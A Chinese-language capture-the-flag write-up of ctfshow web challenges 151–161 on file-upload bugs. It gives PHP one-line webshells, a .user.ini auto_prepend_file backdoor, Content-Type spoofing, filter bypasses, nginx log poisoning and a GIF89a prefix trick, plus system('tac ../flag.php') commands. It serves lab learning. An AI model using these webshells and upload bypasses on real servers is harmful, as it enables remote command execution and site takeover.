ctfshow-web-151

这题就一个前端校验,直接在前端png改成php,上传木马,连蚁剑找flag

ctfshow-web-152

上传文件bp抓包,

`Content-Type`改成 image/png
再post:
muma=system("tac ../flag.php");
ctfshow-web-153
.user.ini留后门
进入/upload发现有东西,说明是有一个index.php,那么可以改配置文件.
配置文件上传
【文件上传漏洞】user.ini留后门
auto_prepend_file的用法:
auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?
例如在.user.ini文件中写入
auto_prepend_file=a.jpg
然后在a.jpg中写入一个一句话代码
<?php eval($_P0ST['a']); ?>
那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。
抓包上传.user.ini,auto_append_file=文件名

再上传1.txt,内容是一句话木马,

post:1=system("tac ../flag.php");
ctfshow-web-154、155
这题也是有index.php,和上题差不多,多过滤了php
可以用短标签替换,或者用大小写绕过



ctfshow-web-156
过滤了 [ ,可以用 { 代替

或者直接查看flag,
<?= system("tac ../flag*");?>

ctfshow-web-157、158
过滤了 ; { ,分号去掉也能执行,php 脚本的最后一个分号可以省略

ctfshow-web-159
过滤了括号,用反引号 ` 代替.
<?= `tac ../flag*`?>
日志包含
还可以用日志包含.
<?= include '/var/lo'.'g/nginx/access.lo'.'g'?>
这里过滤的log用 '.' 分开.
在日志上写上php脚本,不能直接打开flag.
<?php eval($_POST[a]);?>

然后再post:
a=system("tac ../flag.php");

ctfshow-web-160
比上一题多过滤了空格还有 ` ,不过还是能用 日志包含
<?=include'/var/lo'.'g/nginx/access.lo'.'g'?>

ctfshow-web-161
对于上一题,在每个文件前加上 GIF89a
